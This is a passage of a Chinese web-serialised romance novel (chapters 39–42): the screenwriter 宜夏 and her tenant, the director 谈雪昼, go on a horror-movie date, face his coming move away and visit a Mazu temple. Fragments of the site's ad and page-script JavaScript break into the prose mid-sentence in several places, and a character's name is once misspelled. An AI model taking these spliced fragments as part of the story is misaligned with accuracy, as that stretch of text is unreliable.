还有一个场景是一栋被烟熏火燎烧得漆黑的教学楼,一个身影孤独的男孩子在校门口回头。这是来自《纵火审判》最后的结局场景。 谈雪昼抱着手臂欣赏宜夏惊讶崇拜的表情。 宜夏整个已经张大嘴不知道说什么好了。 谈雪昼轻描淡写说:“想摸的话可以摸。” 宜夏小心翼翼伸手,摸了一下树脂教学楼。 指尖点在树脂上,却见指尖点到的地方燃起了一小团火光。 宜夏愣了,指尖迅速滑过边缘,随着指尖的触摸移动,一圈火光随之亮起。突然,整栋教学楼都亮了起来,橘红色的火光熊熊燃烧,明亮炽热。 宜夏彻底惊了:“这是怎么做的?” “AI控制。” 宜夏没忍住问:“也是你做的?” “嗯。” “……天啊。” 谈雪昼这个手工,就算不拍电影,也能在网上混成手工耿或者才浅那样的手工大神。 宜夏摸着旁边那个很克的深蓝浴缸场景,只见一圈蓝紫光涨落,把大章鱼映照得更加阴森可怖。实在是太精致了,宜夏忍不住问:“你怎么从来都没在微博或者朋友圈里晒过啊?如果我这么厉害,我肯定全网都要发。” 谈雪昼伸手点了一下最旁边的一个微缩场景。 指尖一点,藏青深蓝的天幕上竟然绽出了蓝紫橙红的烟花。 璀璨的微缩烟火倒映在他的瞳孔里,他转头看她,表情淡然:“没必要。” “什么没必要?” “不想给无关的人看。” 宜夏咬了下唇, 突然感觉到心跳的加速度。 扑通扑通,一声声,响在耳畔。 她低下头,盯着蓝紫色的烟花,许久轻声问:“那我属于有关的人?” 谈雪昼没回答。 宜夏忍不住抬头看他。 他突然伸手在她头顶一顿乱 () { $(''.inform'').remove(); $(''#content'').append('' 揉,漫不经心:“你觉得呢?” 宜夏张了张口,想肯定,又不好意思。 不知道为什么,竟然会在他面前羞涩起来。 宜夏手指收紧,假装没有心旌动荡,转过脸,若无其事欣赏橱柜里的其他收藏。 越看越感觉谈雪昼是个很有趣的人,很有意思。 橱柜里有很多奇怪的东西,比如复古的黄铜挂钟,陶瓷烧制的驯鹿和槲寄生树枝,形状千奇百怪的陶土小恐龙。 也有一看就很昂贵的寿山石玺,石质温润,笼着一层薄光;有几枚寿山石已经完成了篆刻,宜夏竟然看见了一枚雕了一只鹿角嶙峋的小鹿;漂亮的双面刻印古董贝母扇子,大喇喇地展开放在橱柜里面,还有镶嵌了很多宝石的古董八音盒…… 他好像完全不在乎价格,只凭喜欢不喜欢做收藏。 亲身踏进谈雪昼的世界,才知道他是怎样一个丰富的人。 - - 下午谈雪昼出门一趟,聊点工作上的事,打算晚上跟宜夏一块回岛上。 宜夏心里藏着事,等他出了门,后脚也离开了嘉华汇,主要是打算找薛霓,面对面地聊一下,争取把惴惴不安不知如何收场的事情捋清楚。 是真的喜欢上他了。 很喜欢,知道越多细节,就越喜欢。 可是宜夏没有过追人的经验。不知道怎么跟谈雪昼把事情挑明。 虽然眼前是只剩一张窗户纸了,问题是,这张窗户纸,就是一直没捅破,怎么办呢? 对此,薛霓表示:大胆上,把他直接办了! 难道一个大美女投怀送抱,难搞哥还能真柳下惠坐怀不乱吗? 宜夏这时候知道害羞了,难以启齿地说:“他真的不是那样的人。” 薛霓:“你又知道了?试过了?” 宜夏有点沮丧:“我喝醉了,想亲他,他都躲开了。” 薛霓震惊:“不可能吧,难道他是Gay?” 宜夏:“……真不是,就只是单纯的——” “单纯的正人君子?”薛霓撑着下巴,“天啊,不可思议。” 所以怎么办呢? 单身多年的薛霓也没有什么办法,讨论来讨论去,得出来的结论是见机行事。 俗话说,女追男,隔层纱,稍稍主动一些,就会水到渠成。 宜夏想是这么想。 隔天,两个人一起回清塘岛。 回去后好几天,宜夏忙着继续改剧本。 谈雪昼也没怎么出门,画自己的分镜头。 宜夏有时候凑到他那里学一下他的技巧,两个人相处得依然自然。 暧昧……可能也有,甚至很多。 只是宜夏一直没想好怎么挑破这层纱。 捱了几天,她坐不住了。 知乎提问:怎么从暧昧阶段转为恋人关系? 有网友回答,最好的办法是,肢!体!接!触! 譬如说,看电影如何如何操作,过马路又如何如何接触。 宜夏感觉网友的答案简直像在写言情小说,一点不真实。 不过话又说回来,看电影确实是很适合创造一些肢体接触,起码不至于不冷不淡的。 宜夏捧起手机,犹豫了下,发了条信息出去。 下一秒,宜夏就收到了谈雪昼回的微信: 【不行。】 ——【谈老师,你这几天都熬那么晚,很需要休息呀】 【今晚不如一起去看电影吧?】 ——【不行。】 宜夏: 【?】 39. 春日 谈雪昼: 【今晚不行,我有个会要开。】 【明天可以。】 宜夏: 【……】 谈雪昼: 【不过,你又想干什么】 宜夏: 【单纯想请你看电影而已,干嘛那么警惕】 【……你每次都误会好人,把我往坏里揣测。】 谈雪昼: 【……】 宜晴感觉他的省略号似乎是懒得搭理她的意思。 谈雪昼晚上七点到八点和美术组的同事开会。 他对时间管理一向严格,开会也按照议程来聊,几乎不超时。不过今晚情况特殊,聊到后面推翻了最开始的一个布景设计,要从头开始再出方案,所以到九点钟,会议还没结束。 谈雪昼耳机戴久了不大舒服,取掉一只,揉了下外耳廓。 小书房门口突然传来了轻轻的推门声。 他抬头从电脑屏幕后看过去,只见门口探进来一颗脑袋。宜夏头顶扎了一颗松松的圆丸子,夹了一个布面的蜻蜓发卡,出现的那一刹那整张脸是模糊的,因为皮肤白,亮度太高,过曝一瞬。等那一阵笼着她脸孔的浅浅光晕散掉,谈雪昼眨了下眼,才看清她鬼鬼祟祟小心翼翼的表情。 谈雪昼好整以暇抱臂坐着,眼神问干嘛。 宜夏看他这阵势,以为他已经开完会了,于是立刻站直,光明正大推开门,问:“要不要吃夜宵?我做了海鲜拌面。” 谈雪昼沉默片刻:“你吃剩下的?” 宜夏:“……不是,你不能把我往好里想?” “你觉得自己像好人吗。” “我怎么不是好人了?我觉得我是世界第一大好人,谈老师,遇见我你算是中彩票了。居然还说我不是好人,败坏我名誉,我要去网上曝光你的PUA。” “……” 宜夏:“所以,吃不吃?” “吃。” 宜夏蹬蹬跑下楼,盛了一碗锅里还热着的海鲜拌面,捧上楼,端到谈雪昼面前。 谈雪昼摘掉一只耳机,对着屏幕说了一句:“就这样,我先下了。” 宜夏呆了一秒:“……不是,你刚刚在开会啊?” “不行吗?” “那你刚刚关麦了吗?” “没有。”谈雪昼不咸不淡说,“所有人都听见你要曝光我PUA你。” 宜夏:“……” 半秒后,她慢吞吞说,“那你必须好好伺候我,不然我哪天一不顺心,真的上网曝光你了。让你在同事面前威严尽失。” 谈雪昼拌着面,头也不抬:“怎么伺候您才能叫好好伺候?” 宜夏在他对面坐下,撑着下巴,片刻后说:“做我——” 她很想说“做我男朋友”,但感觉这个场合直说,好不正式,话顿时又被噎了回去。 谈雪昼从拌面碗上抬头,懒懒问:“做你什么?做你爸爸?让你感受一下什么叫父爱如山?” 宜夏脸一下垮了。 跟这个人就没办法说,气氛维持不到三秒就会整段完全垮掉。 谈雪昼看见她吃瘪的表情,隐约扯了下唇角,低头吃拌面。 宜夏坐在对面撑着下巴,百无聊赖问:“你们刚刚在开什么会呀?还是筹备《牺牲者》吗?” “嗯。” “什么时候开机?” “……今天突然这么关心?” “我不是随便找个话题聊天吗?”宜夏都要崩溃了,“你能不能不要对我那么警惕,搞得好像我多坏一样。” “你倒不是坏。”谈雪昼说,“你只是对我特别的垂涎,我当然要提高警惕保护好自己。” “……” 宜夏被他说了这么多遍垂涎,却根本没动手实践,可见全是他的诬陷。她凝视着谈雪昼,半秒之后火速伸手,嘣一下,屈起手指弹了一下谈雪昼的额头。 一个响亮且用力的脑瓜崩。 谈雪昼抬头,有些迷惑:“?” 宜夏若无其事说:“对不起,手突然自己动了。” 好奇怪,好新奇的感觉。 面对喜欢的人,简直控制不住的想亲近,碰一下,挨一下,摸一下,接触一下。 谈雪昼:“……” 过了一会儿。 宜夏低头翻手机:“最近好像没有什么新电影上。我们明天看什么啊?” “都行。” “不能都行。不能给你的竞品导演贡献票房,你说吧,最近这些电影哪些导演跟你有仇,我先排除。” 谈雪昼有点失语,半分钟后抬头:“没人跟我有竞争。” 他顿了下,吊儿郎当说:“毕竟,我一骑绝尘。” “……” 宜夏又被不要脸到了。 - 最近上映的电影质量评价都挺一般的。 宜夏日常会关注新上映的电影,对这些电影的质量有了解,感觉每一部都够不上谈雪昼的眼光。不过嘛,既然是两个人一起看电影,就不要用导演编剧的职业眼光审视这些电影了,看个乐子,培养下感情还差不多。 宜夏于是选了个最能培养感情的……恐怖片。 她真是豁出去了。 岛上有唯一一家电影院,很小。 宜夏骑着小电驴载谈雪昼去电影院。 进影厅前,谈雪昼看着她打印出来的票根,疑惑:“《昼夜惊魂》?你确定?” 宜夏镇定说:“这部电影评分很高的,成本五百万现在已经一个亿票房了。” 谈雪昼:“可以。之前是谁路太黑都能吓得抱别人的。” 宜夏装傻:“谁啊?胆子这么小?” 在外面等电影开场的时候,宜夏去买了一大桶爆米花。 说实话,看着电影海报上恐怖的女人脸孔,她还是有点怕的。 实在不行待会儿恐怖起来她就低头吃爆米花吧。 不对不对。 恐怖片段她应该往他怀里钻,这才是她选恐怖片的目的。 她有点忧愁,他不会推开她吧? 不会那么无情吧? 进了影厅,电影放贴片预告的时候,宜夏猝不及防在大银幕上看见了熟悉的名字。 贴片预告放的是下个月即将上映的新电影预告,一开头,就打出了于思程的名字。总导演郑中承,于思程是电影的联合导演。 宜夏不自觉把爆米花的纸桶捏到变形。 谈雪昼转过头看了她一眼,清清嗓子,低声说:“还没开始,不必这么紧张。” 宜夏骤然撒手,深呼吸:“没紧张。” 又忍不住阴阳怪气一声:“你相亲对象下一部电影要上映了,可以去支持一下。” “哦?”谈雪昼声音似笑非笑的,“可以。” 宜夏心情一下就闷了。< () { $(''.inform'').remove(); $(''#content'').append('' p>电影很快开始。 小成本还能做到高票房,这部电影虽然名字很老土,但制造惊悚的能力不俗。开没开场十分钟,宜夏就有些后颈发凉,手臂起鸡皮疙瘩。她不自觉开始不停吃爆米花,切换成编剧模式,在心里念念有词分析剧情设定。这里是故意设下悬念,那里用了希区柯克的手法。 总之,不能代入剧情里,一代入就要头皮发麻…… 然而电影导演不给她这个间离的机会,直接上刺激的剧情。 屏幕上骤然出现的死亡桥段让影厅里尖叫声此起彼伏,宜夏也被吓得闭紧双眼尖叫一声,死死攥住了什么东西。 等她从恐惧中回过神来的时候,旁边谈雪昼压低声音懒散问:“不放手?” 她睁开眼,才发现,她攥的是他的手臂。 不是攥,那简直是掐。 她立刻撒手,若无其事看着屏幕:“误会。” “没关系,实在害怕的话,手也能借你牵牵。” 宜夏突然心脏一缩。 她垂着眼,慢吞吞说:“这多不好意思。”说是这么说,手却扭了两下,悄悄握住了他的手,勉为其难说,“那我就,不客气了。” 黑暗中,谈雪昼隐隐勾了下唇角。 宜夏握他的手有点汗湿。 她后半段全程胡思乱想,都没来得及注意电影到底演了什么。只是觉得,他手好大,冰凉的,手背皮肤挺滑的,指节骨头摸起来硬硬的,挺好摸的。 就像调戏那样把人家的手摸了个遍,谈雪昼没忍住,在电影快结束时警告:“你够了。” 宜夏很无辜:“我怎么了?” 电影结束,放到片尾彩蛋,影厅里的观众陆续起身离场。谈雪昼站起来,宜夏立马跟着站起来,故意忘记松开他的手,拉着他往外走。 谈雪昼也没说什么,宜夏心头暗喜,胡乱找话题:“所以凶手是谁你看明白了吗?” “是一开始出场的那个管家和她表哥。” “不对吧?我怎么看网上说是男主人策划的?你认真看了吗?” 谈雪昼声音懒散:“没看,全程注意你摸我的手了。” 宜夏:“……” 她耳根通红,这下知道不好意思了,赶紧撒手,若无其事说:“都是误会。是你的手自己跳到了我手里。” “那太可怕了,可以联系走近科学剧组拍三集了。” 宜夏抱着手镇定地走在前面。 心里深恨这个人满嘴跑火车。 谈雪昼后面懒洋洋叫住她:“喂。” 宜夏扭头。 谈雪昼朝她伸手:“有点想再跳一下。” 宜夏:“……” 她后退两步,悄悄勾了下唇角,主动牵住谈雪昼的手。十指交握,两个人吹着海风,慢悠悠地往回走。 头顶一轮圆月高高地朗照着,平时冰凉的月光此时此刻仿佛都朦胧温暖了不少,把万事万物、万家灯火都蒙上一层轻纱似的流动光辉。 - 薛霓: 【一天天的,听你俩谈恋爱过程】 【我跟追恋爱博主直播似的。】 宜夏: 【我们也不算恋爱吧?】 薛霓: 还不算?】 【他的手都跳你手里了,这还不算?】 【要他的嘴咬你的舌头才算?】 【还是要他的X跳你的Y里?】 40. 春日 “对方撤回了一条消息” 宜夏钻在被窝里。 一盏小夜灯亮着,晕出昏昏黄黄的一种光线。 宜夏看清薛霓发来的话,下一秒就看见了撤回消息,整个人都不好了: 【……你说话不要这么奔放】 薛霓: 【别害羞】 【早点把他搞定才是硬道理】 【拿出你的智慧和手段】 宜夏: 【我会的】 手也牵了。 该暧昧的也暧昧了。 是只差嘴上确认、承认关系了。 宜夏一时间很想直接去问他,我们现在到底算什么关系。 一下又刷到小红书上的帖子,说女生不能主动去问男生这种事情,必须男生主动挑明表白。 男生不挑明,就是打算做不主动不拒绝不负责的渣男。 谈雪昼是那种渣男吗? 网上又说,看一个人不能看他说什么,要看他做什么。 那他为什么不表白呢? 除开不表白以外,其他的,已经和男朋友没差别了吧? 宜夏苦闷了好几天,闷得不行,自己出门散心。 回家的时候带了一条鱼回来烧,结果因为心事重重,鱼烧糊了,溅出来的热油还把手背烫了一个大水泡。 一开始她没当回事,只涂了点药,没过多久,水泡越来越痛,她只能跑去诊所。护士帮她把水泡挑破,还裹了一层纱布。 这下,右手整个不能用了,她只好怏怏回家。 因此,谈雪昼从外面回来的时候,宜夏低气压地坐在地毯上撸猫。 谈雪昼站在门口换鞋,宜夏已经单手抱着猫站了起来:“今晚我们出去吃饭。”顺便把裹着纱布的手亮给他看。 “这是怎么了?” “烫到了。” 谈雪昼蹙着眉走过来,问她:“涂药了没有?” “涂了。”宜夏眨了下眼睛,“做不了晚饭,我们要去外面吃。” “……嗯。”片刻后,谈雪昼拿着一支烫伤膏出来,皱着眉叫她,“再给我看看你手。” 两个人收拾收拾又再出门。 岛上晚上还开门营业的餐馆很少,几乎全是烧烤。不过宜夏知道一家,由一对老夫妻经营的餐馆,主要做熟人生意,海鲜面条特别好吃。宜夏带谈雪昼去那一家,两个人一人要了一碗海鲜面,吃得很热乎。 谈雪昼埋头吃着。 宜夏左手拿筷子不熟练,笨手笨脚吃了半天,抬起头,正好可以看见对面谈雪昼头顶一个小小的发旋。 平时他比她几乎高了一个头,都看不见他头顶。 这次注意到他头顶发根颜色很浅,在不甚明亮的灯光下,是一种偏浅的白金色。 她对他的一切都很好奇,没忍住问:“谈老师,你头发是怎么回事?” 谈雪昼抬头,随口问:“怎么了?” “发根是金色的,发尾又是黑的,你和正常人不一样。” 正常人染黄毛,都是发根黑色,发尾金色,他是反过来的 “……”谈雪昼随手捋了把刘海,“才注意到?” “少数民族?” “不是,因为我奶奶是美国人。” “那你其实是混血?四分之一混血?……”宜夏摸着下巴端详他的脸孔,“确实,其实我第一眼见你的时候,就觉得你长得……” “怎么样?” “颇有几分姿色。” 谈雪昼:“……” “所以你头发的黑色其实是染的?” “这次还没来得及补色。”谈雪昼搁下筷子,懒洋洋说,“懒得被人一直问为什么是黄毛。” “那下回去江流可以补一下。” 谈雪昼安静片刻,忽然说:“下次回江流,应该也是我搬走的时候了。” 宜夏一怔。 海鲜面的雾气升腾,挡住了对面谈雪昼的神色。宜夏眨了下眼,眼前却依然一片朦胧。她张了张嘴:“……不是,不是还没到五个月吗?” “《牺牲者》快开机了,这段时间事情非常多,我不能一直待在岛上。” “不能迟一点吗?多、多休息一段时间。我看你最近已经特别忙,你之前也很忙,各种勘景……你根本就没有休息。”宜夏语无伦次。 “舍不得我走?” 宜夏张了张口,执拗看着他,没吭声。 -回去的路上,宜夏一直沉默地想着自己的心事。 盘算着电影的预算,盘算着电影的筹备。 虽然拿到了投资,但是她没拍电影的经验,还要多学一阵,才敢开始。 之前《江流冬日》拍摄,她跟导演方希华关系不错。方导擅长拍文艺片,如果能请方导来指导,她心里会比较有底。但是方导现在人在国外,不知是欧洲还是非洲拍纪录片,也不知道对她的剧本会不会有兴趣。趁早把团队组建起来准备立项开机,演员选角试镜、道具布景服装美术,所有事情都很复杂…… 想着这些事,宜夏却不自觉地放空,心思突然绕回谈雪昼身上。 她低着头盯着脚尖,踢踢踏踏往前走,冷不丁开口:“你要是搬走了,瑁妹怎么办?” 走在前面的谈雪昼回过头看她。 发丝被海风吹得凌乱贴在脸颊旁,他懒懒说:“我带走啊。这是我的猫。” “可是我也喂她了。凭什么是你的猫,我们一起带回来的,一起养的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” “不是你自己觉得她丑?” 宜夏闷声说:“……现在不丑了。以前是我浅薄行不行?”顿了下,她嘀咕,“猫饭每天都是我做,猫窝的垫子也是我的,猫粮我也有份……” “那你要怎么办?” 宜夏自顾自继续说: “而且瑁妹已经习惯住我家了,你要把她带走,她肯定不能很快适应新环境,说不定会应激。再说了,你那房子太大了,太空旷了,楼又高,也没有封窗,说不定有危险。但要是跟着你待在剧组的话,人来人往也很复杂……” “想说什么?你想留下她?” 宜夏眼睛闪动着水光,盈盈的,玲珑的,就好像月亮尖尖那一点小小的盈缺倒映在粼粼的水潭里:“……我、不是,我是想……” 想留下你。 谈雪昼漫不经心说:“猫我会好好照顾的。说好了是我的猫,我会负责到底。” 宜夏咬了下唇,忽然问:“那我呢?” 谈雪昼一怔。 “我们……再怎么,也能算朋友吧。你要走也不提前告诉我。” “……我都提前半个月了。” “半个月怎么能叫提前。”宜夏闭着眼睛强词夺理,“反正你做事太不负责任了,你就这么走了,我房子也很难租出去的好不好?而且你住了那么久,我、我都习惯……” 谈雪昼这才听明白她绕了那么大一个圈子,其实不过是在挽留他。 他定定凝视着她,片刻后好笑问:“宜夏,你到底想说什么?” 宜夏别过脸,很久之后,轻声说:“没想说什么。” 谈雪昼没出声。 咸腥的海风吹着,夏季的燥热快要过去,宜夏心很突然的一空。 她趿拉着拖鞋,慢慢走上前去,背对着谈雪昼,慢吞吞地踢石子。 谈雪昼突然问:“舍不得我?” “没有。”她回答得很快。 两个人一时间没人说话,安静得反常,宜夏很慢很闷地说,“我为什么要舍不得你?我们不过是房东和房客的关系罢了。” “你真的这么想?那……”谈雪昼问,“你两次喝醉酒,两次都差点亲到我算什么?” “算你躲得快。” 谈雪昼:“……” 几乎只差一层窗户纸了。 可是。 可是他要离开了。 宜夏心里很难受,憋得慌。 他离开之后,不会再有朝夕相处的机会了,她真的要捅破这层窗户纸吗?他能这么直接地告诉她他要离开,没有一点不舍,其实他,不一定有她想象的喜欢她吧? 喜欢一个人的心情,就是患得患失、六神无主、左顾右盼、若无其事。 41. 春日 - 隔天下午。 宜夏本来在改剧本,突然发起呆来。 我这是怎么了? 工作上一切都很顺利。现在只等她把最终的剧本改好。 最近除了改剧本,她还在申请一个电影基金。也是谈雪昼看了她的剧本给她提的。宜夏之前只做编剧,对电影制作全流程懵懵懂懂,不是很清楚,其实制作经费可以从很多地方得到,包括创投会、电影节,还有就是政府支持的基金。 很多地方政府都会有电影扶持基金,很多都是只要电影在此取景就能申请经费,她的《清塘山岛日记》,从名字就能看出来与清塘、与江流市的关系,符合申请基金的资格。前段时间她就在写申请材料,给谈雪昼看过,又改了一些内容,应该能通过初审。 等她剧本改完,基金申请下来,就必然要离岛,准备《清塘山岛日记》筹备和开机,她其实也没办法在岛上再待多久。 话虽如此,谈雪昼要走这件事,她还是很难受。 宜夏揉了下眼睛,又揉乱自己的头发,摔回床上。 门外突然传来敲门声。 宜夏慢悠悠坐直,趿拉着拖鞋走到门口,犹豫片刻。 谈雪昼该不会告诉她,他已经收拾好了马上就要走吧? 宜夏烦闷地拉开房门,声音硬邦邦:“干什么?” 谈雪昼单手撑着门框,低眼看她,慢慢悠悠地问:“出门吗?” “……干什么。” “趁天气好,趁我还没走,出去玩一趟。” 宜夏径直看向他的眼睛:“怎么,舍不得这里吗?” 他好笑看着她的眼睛:“去吗?” 宜夏垂头:“我在忙。你自己去,景点你又不是不熟悉……你又不需要我做导游。” “我需要。” 宜夏沉默片刻。 两人径直对视,气氛突然像在较劲,谁都不愿提前别过脸。最终却还是宜夏输掉了这场对局,侧过脸,用力擦了下脸:“行行行,出门。我去换个衣服。” 她换了条青草绿的亚麻无袖连衣裙,直筒筒的版型被她系了一条同色系的塔夫绸丝带掐住腰,收起盈盈的一段腰肢,夏日清新嫩绿的气息扑面而来。 再戴一顶宽檐的大草帽,踩上系带凉鞋,就是夏天的一整套出门装。 她看向镜子里的自己。 臭着一张脸,一看情绪就不高。 门口再次传来敲门声。 宜夏一边整理胸口的小蜻蜓吊坠,一边拉开门出去。 谈雪昼一身简单的黑色衬衫加宽松款的休闲西裤,裤管笔直,线条流利,懒散站在门口。 宜夏握着吊坠看他一眼,没吭声直接走上前。 谈雪昼手插在口袋里,喂了一声:“宜夏。” 宜夏没好气:“又要干嘛?” “你今天吃枪药了?” 宜夏没吭声。 “你该不会,是因为我昨晚说要走,一直气到现在吧?” 宜夏冷笑:“别自恋,我才没有,我为什么要因为你要走生气?你走了我高兴还来不及,我可以招其他客人进来了,其他人才不会像你这么事多,吃个扬州炒饭一会儿说盐淡了,一会儿又盐咸了。” 谈雪昼:“……多久之前的事,你还记得?” 宜夏大步往前走,手臂突然被人拉住。 他的手指按在她光裸的手臂皮肤上,顿时,她整个人就好像全是秋草的内陆草原,摧枯拉朽地烧了起来。又像一只突然被按住发条的锡兵娃娃,僵在了原地,眼珠一错不错地看着他。 谈雪昼说:“别生气。” 宜夏一下软了。 片刻后,闷声说:“真没生气。” 这当然是一场从开始就已经决定好的离别。 谈雪昼又不可能永远住在她家的民宿里,永远是她的房客。 宜夏也知道自己生气没有道理。 她放柔了声音,小声问:“那去哪里玩?岛上所有景点,你不是都逛过吗?你前段时间连隔壁崇榆都去过了。” 谈雪昼说:“去崇榆吧,我买船票了。” - 两个人顺着马路往下晃悠,晃悠到了码头。 谈雪昼提前买了两张船票,要去清塘岛外的崇榆岛。 崇榆岛和清塘不同,主打民俗。岛上的妈祖庙非常有名,传说中很灵验,宜夏高考那年,外婆还特地帮她问妈祖求了一下成绩。 妈祖庙的建筑风格也特别有意思,平时游客很多。 妈祖庙在崇榆岛中央的崇榆山顶上。 两个人搭岛上的旅游班车到了山脚,稍微休息一阵,就开始从山脚往上爬。 其实山不高,但路弯弯绕绕,路途遥远。一路上两个人气氛还是有些莫名的尴尬别扭,没谁主动开口说话,宜夏全程观察路边的树和小亭子,观察偶尔路过的其他游客,总之就是不愿意看走在前面的谈雪昼。 山才爬到一半,宜夏脚跟磨破了。 她有点后悔穿了双微微有点跟的系带凉鞋,早知道就穿平底的了。 ——要不是因为谈雪昼太高了,她也不会鬼使神差翻有跟的鞋出来。 她也不矮,平时为了配合那些谎报身高的演员,都是自报身高172的。 她抬头,盯了眼谈雪昼步伐稳健的背影,一声不吭,咬着牙往山上继续爬。 沿路有卖雪糕和冰水的小贩。 谈雪昼停下,买了两瓶水,递给她一瓶。 宜夏一声不吭低头拧瓶盖,一下没拧开,自己跟自己较劲,开始用牙咬。 谈雪昼:“……给我,我帮你开。” “不用。”宜夏用力把瓶盖咬出一个牙印,终于拧开了瓶子。 喝水其实也没喝两口,她拧好瓶盖。 谈雪昼等了她一会儿,问:“要不要休息?” 宜夏说:“用不着。” 接着往山上走。 谈雪昼跟在她背后,片刻,直截了当说:“别走了。你脚腕磨出血了。” 宜夏站定,扭头看她:“我没事,不疼。” 谈雪昼说:“我背你。别走了。” 宜夏为了表示自己的坚强,已经向上走了好几步,回过头:“不用,小意思而已,只是出点血,又不是腿断了。不如比一下谁先爬到山顶上,你绝对没有我快。” 谈雪昼定定看着她,突然说:“你还在生我的气。” 宜夏坚持:“我真的没有。我凭什么生气啊?我只是……”宜夏梳理不好自己乱七八糟的情绪,擦了下鼻子,别过脸自暴自弃说,“只是这双鞋好烂,这个路好难走,太难走了而已……” 谈雪昼看着她隐隐有些泛红的眼眶,心很突然的一软,声音也放得很柔,“宜夏。”他伸出手。掌心是两个创可贴,“贴一下脚后跟吧。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 宜夏抬起头:“你怎么会带这个。” “……”他默默看着她。 宜夏低着头,没再问更多的,接过那两个创可贴,蹲着贴好,却没有第一时间站起来,而是抱着膝盖蹲了会儿。谈雪昼一低眼,见她蜷成一小团,没忍住轻轻叹了口气:“宜夏。” 宜夏仰起脸,沉默片刻,自言自语说:“好像突然回到了现实世界啊。” 清塘岛是一个秘密的小世界,他进入她的世界,她感觉到的是胸有成竹的笃定和安全。 他突然要彻底离开,要回到江流,她愕然意识到,原来很多事情都是她自我意识过剩,无力阻止,无力改变,无力挽回。 与其说,她在生他的气,不如是生自己的气。 气自己软弱懦弱,甚至至今,没敢把心事跟他挑明。 也因此,没有立场再多说一句挽回。 他回到了江流,是意气风发的谈导,是演都不眨给出八位数投资的谈总。 她是黑料缠身,至今不敢看自己的微博大号的落魄编剧,是仰仗着他给的投资才能抓住一点东山再起希望的新手导演。 差距那么大。 她突然意识到了这点。 简直是,如梦初醒。 - 终于到了妈祖庙。 谈雪昼不信这个,没进庙门,在门外拍照,宜夏却很信。 她心神不定,拜妈祖像的时候藏着重重心事。 看着妈祖慈悲的脸孔,在心里默默问,我的《清塘山岛日记》会成功吗?我会得到我想要的结果吗? 她跪着,朝身前掷出筊杯。 胜杯。 妈祖告诉她,会的,好的,会有好结果的。 宜夏抬头望向妈祖,又掷了一对,求问别的事。 胜杯变成了阴杯。妈祖说不可以,不好,不行。 宜夏扭过头,看了眼站在门槛外举头拍照的谈雪昼。 他仰着脸,阳光中浮动着细小的灰尘,在他脸上跳跃起伏,勾勒出明朗流丽的线条轮廓。他眼窝好深啊,宜夏突然想怪不得,原来是混血。睫毛呈一种金子般的浅色,抖一抖,好像上面停驻了很多光的精灵。 他突然注意到了她的目光,从相机镜头后朝她看来一眼,清淡明亮的目光。 宜夏迅速回过头,垂下眼,盯着眼前的阴杯。 光线在地砖的花纹上爬格子,筊杯上岁月痕迹明显,她疑心是不是用太久了,不准。 手指缓缓抓住筊杯,她再掷了一次。 阴杯。 妈祖坚持说结果不好。 宜夏不相信,她用力抓起筊杯再投了一次。 还是阴杯。 三次阴杯,神明不喜,不宜再问。 ——她问的是,妈祖,那我该主动表白,挑破我们的关系吗。 宜夏垂下脸,心脏涩得格外难受,一突一突地跳着。 她怎么能那么患得患失,犹豫不决? 为什么不敢跟他挑破。 她盯着地上的筊杯,在心里说,我不信这些。 我就是……我已经因为喜欢而软弱了这么久,现在他甚至都要走了,我却还在踟蹰不前。 我要孤注一掷。 哪怕他拒绝。 也没关系。 哪怕神明不愿意告诉她最终结局。 也没关系。 勇敢点,不会留有遗憾了。 42. 春日 下了决心,宜夏心一松。 把两枚筊杯交还给妈祖,她站了起来,信步出了正庙。 谈雪昼拍了不少照片,见她出来,一挑眉,问她:“求了什么?这么虔诚,拜这么久?” 宜夏心情已经松弛了下来,想了下说:“求妈祖做法,让……让一个人迷恋我。” “谁?” “你不认识。” 谈雪昼嗤笑:“妈祖又不是苗疆妖女会下蛊。” 宜夏说:“又不用你管。” 谈雪昼冷笑:“你还挺有良心的。” 妈祖庙广场中央有一棵老榕树,据说有几百年的树龄,树根粗壮,气根上密密麻麻系着红布条,上面是来拜妈祖的游客们留下的愿望。 旁边有小贩在卖纪念品,也顺带卖许愿的红布条,有写好了祝愿的,也有空白的可以自己写。 宜夏好奇地凑过去看,谈雪昼举着相机也靠过去,低头认真翻起那些许愿条来。 小贩见她和谈雪昼看起来挺像游客挺好忽悠的,张口就开始吹这棵大榕树许愿多么多么灵,又说:“尤其是特别保佑情侣,你们如果买了啊,把许愿条挂上去,挂在一起,就一定不会分手。” 宜夏暼谈雪昼一眼,转过头问:“真的灵验?” 小贩张口就来:“真的,在妈祖面前,我哪敢骗您呀!昨天还有一对从北京回来专门还愿的小夫妻呢,说是之前男方出了车祸植物人好几年,女方来这里求了醒过来就结婚,还真醒了!现在小两口结婚了,孩子都几个月了!” 宜夏张了张口,愕然:“这么医学奇迹?” 她扫了码,买了两条许愿条。 谈雪昼从相机镜头里看她,淡淡问:“买两条干什么?” 宜夏轻瞟他一眼:“一条求事业,一条求桃花。” 谈雪昼说:“妈祖业务没有那么广泛。” 宜夏说:“你以为妈祖是那种品类垂直的神吗?妈祖万能,什么都能保佑的好不好,你不要质疑妈祖的能力。” 小贩听着她胡说,没忍住笑,问谈雪昼:“帅哥要不要也买两条?” 谈雪昼定定看了一会儿,像是比较勉强那样:“算了。入乡随俗。” 宜夏嘲笑他装。 片刻后,凑过去看他在许愿条上写字。 小贩提供毛笔和墨水,他握笔的姿势很漂亮,写出来的字也俊秀端正,很见风骨,像是从小练习书法。 不过他这个人小气,挡住不给宜夏看全他到底许了什么愿。 宜夏自己去另一头写自己的愿望。 写完后,找了个地方挂上。 谈雪昼那边才慢腾腾写好,找了最高的树枝挂上去了。 宜夏在下面仰着头悄悄观察他到底写了什么,却看不清。他回过头:“这么好奇?” 宜夏这次却没否认,而是大大方方问:“求的什么,不能给我看呀?” “不能。” “小气。” “你不是,也没给我看你写的吗?” “……” 宜夏没有办法辩驳,只好说,“那是女孩子的隐私,不方便给你看。” “那我写的,也是男孩子的隐私。” 宜夏噗一下笑了出来:“我一般也不好奇无关群众的隐私。只好奇你。” 谈雪昼转头,凝视着她。 宜夏弯了弯眼睛,背着手,站在光下看他。 谈雪昼突然笑了声,语气浅淡:“但还是不能给你看。” “不给就不给,小气鬼。” 切。 - 妈祖庙游客很多。 两个人把庙宇前后的景点逛完,已经到了傍晚,下山的点。 